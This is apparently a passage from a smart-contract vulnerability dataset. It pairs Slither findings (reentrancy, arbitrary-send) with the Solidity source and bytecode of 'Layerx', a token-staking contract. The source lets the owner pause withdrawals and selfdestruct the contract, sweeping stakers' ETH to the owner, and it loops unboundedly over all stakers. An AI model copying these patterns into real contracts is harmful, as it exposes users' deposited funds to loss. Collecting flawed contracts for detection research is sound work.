20830188612d73565b612e2d6040830187612b87565b612e3a6060830186612b87565b612e476080830185612b0b565b612e5460a0830184612d73565b979650505050505050565b6000602082019050612e746000830184612b78565b92915050565b60006020820190508181036000830152612e948184612b96565b905092915050565b60006020820190508181036000830152612eb581612bcf565b9050919050565b60006020820190508181036000830152612ed581612bf2565b9050919050565b60006020820190508181036000830152612ef581612c15565b9050919050565b60006020820190508181036000830152612f1581612c38565b9050919050565b60006020820190508181036000830152612f3581612c5b565b9050919050565b60006020820190508181036000830152612f5581612c7e565b9050919050565b60006020820190508181036000830152612f7581612ca1565b9050919050565b60006020820190508181036000830152612f9581612cc4565b9050919050565b60006020820190508181036000830152612fb581612ce7565b9050919050565b60006020820190508181036000830152612fd581612d0a565b9050919050565b60006020820190508181036000830152612ff581612d2d565b9050919050565b6000602082019050818103600083015261301581612d50565b9050919050565b60006020820190506130316000830184612d73565b92915050565b600060a08201905061304c6000830188612d73565b6130596020830187612b87565b818103604083015261306b8186612b1a565b905061307a6060830185612b0b565b6130876080830184612d73565b9695505050505050565b60006020820190506130a66000830184612d82565b92915050565b60006130b66130c7565b90506130c28282613301565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ec576130eb613408565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315d826132a5565b9150613168836132a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319d5761319c61337b565b5b828201905092915050565b60006131b3826132a5565b91506131be836132a5565b9250826131ce576131cd6133aa565b5b828204905092915050565b60006131e4826132a5565b91506131ef836132a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132285761322761337b565b5b828202905092915050565b600061323e826132a5565b9150613249836132a5565b92508282101561325c5761325b61337b565b5b828203905092915050565b600061327282613285565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c7826132a5565b9050919050565b60005b838110156132ec5780820151818401526020810190506132d1565b838111156132fb576000848401525b50505050565b61330a8261344b565b810181811067ffffffffffffffff8211171561332957613328613408565b5b80604052505050565b600061333d826132a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133705761336f61337b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375b81613267565b811461376657600080fd5b50565b61377281613279565b811461377d57600080fd5b50565b613789816132a5565b811461379457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ae34860681b5d83a0828d77e156c1067cb1f2b0cdeb82ab20678382b7031598e64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 973 |
0x472e536c60DFfa345513E80A1e09A8F95CDF79f3 | /**
*Submitted for verification at Etherscan.io on 2021-02-06
*/
pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256){
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"Calculation error");
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256){
// Solidity only automatically asserts when dividing by 0
require(b > 0,"Calculation error");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256){
require(b <= a,"Calculation error");
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a + b;
require(c >= a,"Calculation error");
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256){
require(b != 0,"Calculation error");
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
require(_newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
/**
* @title Layerx Contract For ERC20 Tokens
* @dev LAYERX tokens as per ERC20 Standards
*/
contract Layerx is IERC20, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
uint public totalEthRewards = 0;
uint stakeNum = 0;
uint amtByDay = 27397260274000000000;
address public stakeCreator;
bool public isPaused = false;
address[] public customers;
uint public stakePeriod = 7 days;
struct Stake {
uint start;
uint end;
uint layerLockedTotal;
uint layerxReward;
uint ethReward;
}
struct StakeStruct {
uint layerLocked;
uint time;
}
struct Rewards {
uint layerx;
uint eth;
}
event logLockedTokens(address holder, uint amountLocked, uint timeLocked, uint stakeNum);
event logUnlockedTokens(address holder, uint amountUnlocked, uint timeUnlocked, uint stakeNum);
event logWithdraw(address holder, uint layerx, uint eth, uint time);
event logCloseStake(address stakeOwner, uint stakeNum, uint timeClosed);
modifier paused {
require(isPaused == false, "This contract was paused by the owner!");
_;
}
modifier exist (uint index) {
require(index <= stakeNum, 'This stake does not exist.');
_;
}
mapping (address => bool) public regCustomer;
mapping (address => StakeStruct[]) public _stakes;
mapping (uint => Stake) public stakes;
mapping (address => Rewards) public rewards;
mapping (address => uint) balances;
mapping (address => mapping(address => uint)) allowed;
IERC20 public UNILAYER;
constructor(address payable _owner, address layer_token) public {
owner = _owner;
stakeCreator = owner;
symbol = "LAYERX";
name = "UNILAYERX";
decimals = 18;
_totalSupply = 40000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
stakes[0] = Stake(now, 0, 0, 0, 0);
UNILAYER = IERC20(layer_token);
}
/**
* @dev Total number of tokens in existence.
*/
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
/**
* @dev Gets the balance of the specified address.
* @param tokenOwner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public onlyOwner {
require(value > 0, "Invalid Amount.");
require(_totalSupply >= value, "Invalid account state.");
require(balances[owner] >= value, "Invalid account balances state.");
_totalSupply = _totalSupply.sub(value);
balances[owner] = balances[owner].sub(value);
emit Transfer(owner, address(0), value);
}
/**
* @dev Set new Stake Creator address.
* @param _stakeCreator The address of the new Stake Creator.
*/
function setNewStakeCreator(address _stakeCreator) external onlyOwner {
require(_stakeCreator != address(0), 'Do not use 0 address');
stakeCreator = _stakeCreator;
}
/**
* @dev Set new pause status.
* @param newIsPaused The pause status: 0 - not paused, 1 - paused.
*/
function setIsPaused(bool newIsPaused) external onlyOwner {
isPaused = newIsPaused;
}
/**
* @dev Set new Stake Period.
* @param newStakePeriod indicates new stake period, it was 7 days by default.
*/
function setStakePeriod(uint256 newStakePeriod) external onlyOwner {
stakePeriod = newStakePeriod;
}
/**
* @dev Stake LAYER tokens for earning rewards, Tokens will be deducted from message sender account
* @param amount Amount of LAYER to be staked in the pool
*/
function lock(uint amount) external paused {
require(amount > 0, 'Payment must be greater than 0.');
require(UNILAYER.balanceOf(msg.sender) >= amount, 'Holder does not have enough tokens.');
require(UNILAYER.allowance(msg.sender, address(this)) >= amount, 'Call Approve function firstly.');
UNILAYER.transferFrom(msg.sender, address(this), amount);
Stake memory stake = stakes[stakeNum];
StakeStruct memory newStake;
newStake.layerLocked = amount;
newStake.time = block.timestamp;
_stakes[msg.sender].push(newStake);
stake.layerLockedTotal = stake.layerLockedTotal.add(amount);
stakes[stakeNum] = stake;
if(!regCustomer[msg.sender]) {
customers.push(msg.sender);
regCustomer[msg.sender] = true;
}
emit logLockedTokens(msg.sender, amount, newStake.time, stakeNum);
}
/**
* @dev stakeOf Calculate the total amount staked by account
* @param account address which tries to unlock all Layers token staked before
*/
function stakeOf(address account) public view returns (uint256) {
if (_stakes[account].length <= 0) return 0;
uint256 stake = 0;
for (uint i = 0; i < _stakes[account].length; i++) {
stake = stake.add(uint256(_stakes[account][i].layerLocked));
}
return stake;
}
/**
* @dev getStakesCount Return the count of sub stakes for this holder
* @param holder address who tries to get the count of sub stakes
*/
function getStakesCount(address holder) public view returns(uint) {
return _stakes[holder].length;
}
/**
* @dev Withdraw My Staked Tokens from staker pool
*/
function unlock() external paused {
uint256 unlockAmount = stakeOf(msg.sender);
require(unlockAmount > 0, 'You do not have locked tokens.');
require(UNILAYER.balanceOf(address(this)) >= unlockAmount, 'Insufficient account balance!');
Stake memory stake = stakes[stakeNum];
stake.layerLockedTotal = stake.layerLockedTotal.sub(unlockAmount);
stakes[stakeNum] = stake;
UNILAYER.transfer(msg.sender, unlockAmount);
delete _stakes[msg.sender];
regCustomer[msg.sender] = false;
emit logUnlockedTokens(msg.sender, unlockAmount, block.timestamp, stakeNum);
}
/**
* @dev Stake Creator finalizes the stake, the stake receives the accumulated ETH as reward and calculates everyone's percentages.
*/
function closeStake() external {
require(msg.sender == stakeCreator, 'You cannot call this function');
Stake memory stake = stakes[stakeNum];
require(now >= stake.start.add(stakePeriod), 'You cannot call this function until stakePeriod is over');
stake.end = now;
stake.ethReward = stake.ethReward.add(totalEthRewards);
uint amtLayerx = stake.end.sub(stake.start).mul(amtByDay).div(1 days);
if(amtLayerx > balances[owner]) {
amtLayerx = balances[owner];
}
stake.layerxReward = amtLayerx;
stakes[stakeNum] = stake;
emit logCloseStake(msg.sender, stakeNum, block.timestamp);
uint256 sumAmountAge = _getSumAmountAge(stake.end);
for (uint i = 0; i < customers.length; i++) {
uint256 _amountAge = _getAmountAge(customers[i], stake.end);
if(_amountAge > 0) {
Rewards memory rwds = rewards[customers[i]];
rwds.layerx = rwds.layerx.add(_amountAge.mul(amtLayerx).div(sumAmountAge));
rwds.eth = rwds.eth.add(_amountAge.mul(stake.ethReward).div(sumAmountAge));
rewards[customers[i]] = rwds;
}
}
stakeNum++;
stakes[stakeNum] = Stake(now, 0, stake.layerLockedTotal, 0, 0);
totalEthRewards = 0;
}
function _getAmountAge(address _address, uint256 _now) internal view returns (uint256) {
if (_stakes[_address].length <= 0) return 0;
uint256 _amountAge = 0;
Stake memory stake = stakes[stakeNum];
for (uint i = 0; i < _stakes[_address].length; i++) {
uint256 nAmountSeconds = 0;
if(_stakes[_address][i].time < stake.start) {
nAmountSeconds = _now.sub(stake.start);
} else {
nAmountSeconds = _now.sub(_stakes[_address][i].time);
}
_amountAge = _amountAge.add(_stakes[_address][i].layerLocked.mul(nAmountSeconds).div(1 days));
}
return _amountAge;
}
function _getSumAmountAge(uint256 _now) internal view returns (uint256) {
uint256 _sumAmountAge = 0;
for (uint i = 0; i < customers.length; i++) {
uint256 _amountAge = 0;
_amountAge = _getAmountAge(customers[i], _now);
if(_amountAge > 0) {
_sumAmountAge = _sumAmountAge.add(_amountAge);
}
}
return _sumAmountAge;
}
/**
* @dev Withdraw Reward Layerx Tokens and ETH
*/
function withdraw() external paused {
Rewards memory rwds = rewards[msg.sender];
require((rwds.layerx > 0 || rwds.eth > 0), 'You have no any rewards to withdraw');
require(balances[owner] >= rwds.layerx, 'Insufficient account balance!');
require(address(this).balance >= rwds.eth,'Invalid account state, not enough funds.');
if(rwds.layerx > 0) {
balances[owner] = balances[owner].sub(rwds.layerx);
balances[msg.sender] = balances[msg.sender].add(rwds.layerx);
emit Transfer(owner, msg.sender, rwds.layerx);
}
if(rwds.eth > 0) {
msg.sender.transfer(rwds.eth);
}
emit logWithdraw(msg.sender, rwds.layerx, rwds.eth, block.timestamp);
rwds.layerx = 0;
rwds.eth = 0;
rewards[msg.sender] = rwds;
}
/**
* @dev Function to get the number of stakes
* @return number of stakes
*/
function getStakesNum() external view returns (uint) {
return stakeNum+1;
}
/**
* @dev Receive ETH and add value to the accumulated eth for stake
*/
function() external payable {
totalEthRewards = totalEthRewards.add(msg.value);
}
function close() external onlyOwner {
selfdestruct(owner);
}
} | 0x6080604052600436106101f95760003560e01c806370a082311161010d578063c1699a99116100a0578063dd4670641161006f578063dd46706414610c48578063dd62ed3e14610c83578063ea40450e14610d08578063f2fde38b14610d33578063f905e2ce14610d84576101f9565b8063c1699a9914610a51578063cae9ca5114610a7c578063d5a44f8614610b86578063d73531b914610bf1576101f9565b8063a9059cbb116100dc578063a9059cbb14610909578063b187bd261461097c578063c0abda2a146109ab578063c14190da14610a26576101f9565b806370a08231146107a65780638da5cb5b1461080b57806395d89b4114610862578063a69df4b5146108f2576101f9565b806323b872dd11610190578063426233601161015f578063426233601461061457806342966c681461067957806343d726d6146106b4578063549b5bfc146106cb578063695d794b14610730576101f9565b806323b872dd146104fc578063240976bf1461058f578063313ce567146105cc5780633ccfd60b146105fd576101f9565b8063095ea7b3116101cc578063095ea7b3146103cc5780630f49ba041461043f57806318160ddd146104965780631e6b4c6f146104c1576101f9565b806301e0047c1461021657806305e55e221461027f57806306fdde03146102d05780630700037d14610360575b61020e34600554610d9b90919063ffffffff16565b600581905550005b34801561022257600080fd5b506102656004803603602081101561023957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e23565b604051808215151515815260200191505060405180910390f35b34801561028b57600080fd5b506102ce600480360360208110156102a257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e43565b005b3480156102dc57600080fd5b506102e5610f83565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032557808201518184015260208101905061030a565b50505050905090810190601f1680156103525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561036c57600080fd5b506103af6004803603602081101561038357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611021565b604051808381526020018281526020019250505060405180910390f35b3480156103d857600080fd5b50610425600480360360408110156103ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611045565b604051808215151515815260200191505060405180910390f35b34801561044b57600080fd5b50610454611137565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104a257600080fd5b506104ab61115d565b6040518082815260200191505060405180910390f35b3480156104cd57600080fd5b506104fa600480360360208110156104e457600080fd5b81019080803590602001909291905050506111b8565b005b34801561050857600080fd5b506105756004803603606081101561051f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061121b565b604051808215151515815260200191505060405180910390f35b34801561059b57600080fd5b506105ca600480360360208110156105b257600080fd5b810190808035151590602001909291905050506114c6565b005b3480156105d857600080fd5b506105e161153c565b604051808260ff1660ff16815260200191505060405180910390f35b34801561060957600080fd5b5061061261154f565b005b34801561062057600080fd5b506106636004803603602081101561063757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b1e565b6040518082815260200191505060405180910390f35b34801561068557600080fd5b506106b26004803603602081101561069c57600080fd5b8101908080359060200190929190505050611c4f565b005b3480156106c057600080fd5b506106c9611fe8565b005b3480156106d757600080fd5b5061071a600480360360208110156106ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061207b565b6040518082815260200191505060405180910390f35b34801561073c57600080fd5b506107896004803603604081101561075357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506120c7565b604051808381526020018281526020019250505060405180910390f35b3480156107b257600080fd5b506107f5600480360360208110156107c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612105565b6040518082815260200191505060405180910390f35b34801561081757600080fd5b5061082061214e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561086e57600080fd5b50610877612173565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108b757808201518184015260208101905061089c565b50505050905090810190601f1680156108e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156108fe57600080fd5b50610907612211565b005b34801561091557600080fd5b506109626004803603604081101561092c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061271f565b604051808215151515815260200191505060405180910390f35b34801561098857600080fd5b506109916128ba565b604051808215151515815260200191505060405180910390f35b3480156109b757600080fd5b506109e4600480360360208110156109ce57600080fd5b81019080803590602001909291905050506128cd565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a3257600080fd5b50610a3b612909565b6040518082815260200191505060405180910390f35b348015610a5d57600080fd5b50610a6661290f565b6040518082815260200191505060405180910390f35b348015610a8857600080fd5b50610b6c60048036036060811015610a9f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190640100000000811115610ae657600080fd5b820183602082011115610af857600080fd5b80359060200191846001830284011164010000000083111715610b1a57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050612915565b604051808215151515815260200191505060405180910390f35b348015610b9257600080fd5b50610bbf60048036036020811015610ba957600080fd5b8101908080359060200190929190505050612b48565b604051808681526020018581526020018481526020018381526020018281526020019550505050505060405180910390f35b348015610bfd57600080fd5b50610c06612b7e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c5457600080fd5b50610c8160048036036020811015610c6b57600080fd5b8101908080359060200190929190505050612ba4565b005b348015610c8f57600080fd5b50610cf260048036036040811015610ca657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061334f565b6040518082815260200191505060405180910390f35b348015610d1457600080fd5b50610d1d6133d6565b6040518082815260200191505060405180910390f35b348015610d3f57600080fd5b50610d8260048036036020811015610d5657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506133e3565b005b348015610d9057600080fd5b50610d99613580565b005b600080828401905083811015610e19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616c63756c6174696f6e206572726f7200000000000000000000000000000081525060200191505060405180910390fd5b8091505092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e9c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f3f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f446f206e6f74207573652030206164647265737300000000000000000000000081525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110195780601f10610fee57610100808354040283529160200191611019565b820191906000526020600020905b815481529060010190602001808311610ffc57829003601f168201915b505050505081565b600e6020528060005260406000206000915090508060000154908060010154905082565b600081601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111b3600f60008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600454613bf190919063ffffffff16565b905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461121157600080fd5b80600a8190555050565b600061126f82600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf190919063ffffffff16565b600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134182601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf190919063ffffffff16565b601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061141382600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d9b90919063ffffffff16565b600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461151f57600080fd5b80600860146101000a81548160ff02191690831515021790555050565b600360009054906101000a900460ff1681565b60001515600860149054906101000a900460ff161515146115bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806142566026913960400191505060405180910390fd5b6115c36140f7565b600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060405180604001604052908160008201548152602001600182015481525050905060008160000151118061163a575060008160200151115b61168f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806141d46023913960400191505060405180910390fd5b8060000151600f60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611769576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f496e73756666696369656e74206163636f756e742062616c616e63652100000081525060200191505060405180910390fd5b80602001514710156117c6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602881526020018061422e6028913960400191505060405180910390fd5b6000816000015111156119d25761184a8160000151600f60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf190919063ffffffff16565b600f60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119048160000151600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610d9b90919063ffffffff16565b600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83600001516040518082815260200191505060405180910390a35b600081602001511115611a2b573373ffffffffffffffffffffffffffffffffffffffff166108fc82602001519081150290604051600060405180830381858888f19350505050158015611a29573d6000803e3d6000fd5b505b7f77ba55cea52637902d444be011a3d69dcdf1cc0e412c38d3f936ae2aad7b013f338260000151836020015142604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a16000816000018181525050600081602001818152505080600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015590505050565b600080600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905011611b725760009050611c4a565b600080905060008090505b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050811015611c4457611c35600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611c1457fe5b90600052602060002090600202016000015483610d9b90919063ffffffff16565b91508080600101915050611b7d565b50809150505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611ca857600080fd5b60008111611d1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600f8152602001807f496e76616c696420416d6f756e742e000000000000000000000000000000000081525060200191505060405180910390fd5b806004541015611d96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f496e76616c6964206163636f756e742073746174652e0000000000000000000081525060200191505060405180910390fd5b80600f60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f496e76616c6964206163636f756e742062616c616e6365732073746174652e0081525060200191505060405180910390fd5b611e8181600454613bf190919063ffffffff16565b600481905550611efa81600f60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613bf190919063ffffffff16565b600f60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff16600